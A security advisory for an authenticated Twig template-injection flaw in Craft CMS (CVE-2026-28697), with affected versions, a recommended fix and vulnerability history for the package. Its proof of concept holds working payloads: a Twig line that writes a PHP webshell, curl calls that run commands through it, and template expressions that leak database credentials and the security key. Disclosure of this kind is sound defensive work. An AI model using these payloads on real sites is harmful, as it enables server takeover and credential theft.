Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.
twig{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} - Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.
twig{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} - Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
<img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />bash
# For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | craftcms/cms | >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 | 5.9.0-beta.1, 4.17.0-beta.1 |
References
- https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x
- https://nvd.nist.gov/vuln/detail/CVE-2026-28697
- https://github.com/craftcms/cms/pull/18216
- https://github.com/craftcms/cms/pull/18219
- https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197
- https://github.com/craftcms/cms
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H- Weakness (CWE)
CWE-1336- Platform
- Composer
- Package
craftcms/cms- Disclosed
- 03.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v47q-jxvr-p68x - CC BY 4.0
Vulnerability history: craftcms/cms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 127
- First → latest
- 07.2021 08.2026
- Without a fix
- 6
- Exploited in attacks
- 4
Severity breakdown
- Critical 9
- High 41
- Medium 65
- Low 12
Disclosures per year
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
-
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.